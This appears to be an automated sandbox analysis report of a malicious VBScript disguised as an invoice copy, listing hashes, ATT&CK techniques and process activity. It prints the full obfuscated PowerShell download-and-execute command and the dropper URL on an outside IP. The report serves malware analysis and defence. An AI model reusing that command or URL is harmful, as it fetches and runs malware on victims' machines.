778352e1152d5534284fddae6556738c12657d2efc2417e2baf88ce7aca2bc0a

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22-12-2024 06:45

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General

Target

WROO2_Invoice_Copy.vbs
Size

509B
MD5

ac62735aa02614b0c7fee7df55e0da9b
SHA1

e173edb6949226372dd3eedc47d9369b26ee5577
SHA256

48951f6847400dd39cba2f5ba0376e08bb4b7e36a4c3567792289734758b7bf9
SHA512

1867116e4f375b98d653617682937fdacfd0892b5f3b3246cf612bca00407829ce55d725a4e8daf712323e9408a55d31fc2a8cc5696357ce9b4bc969de6cc709

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://52.27.15.250/A/behdhdjdj.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1328	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1328	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1328	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 1328	1452	WScript.exe	30
PID 1452 wrote to memory of 1328	1452	WScript.exe	30
PID 1452 wrote to memory of 1328	1452	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WROO2_Invoice_Copy.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://52.27.15.250/A/behdhdjdj.txt')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1328-4-0x000007FEF570E000-0x000007FEF570F000-memory.dmp

Filesize
4KB

Download
memory/1328-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/1328-6-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/1328-7-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/1328-8-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/1328-9-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/1328-10-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/1328-11-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download
memory/1328-12-0x000007FEF570E000-0x000007FEF570F000-memory.dmp

Filesize
4KB

Download
memory/1328-13-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

Filesize
9.6MB

Download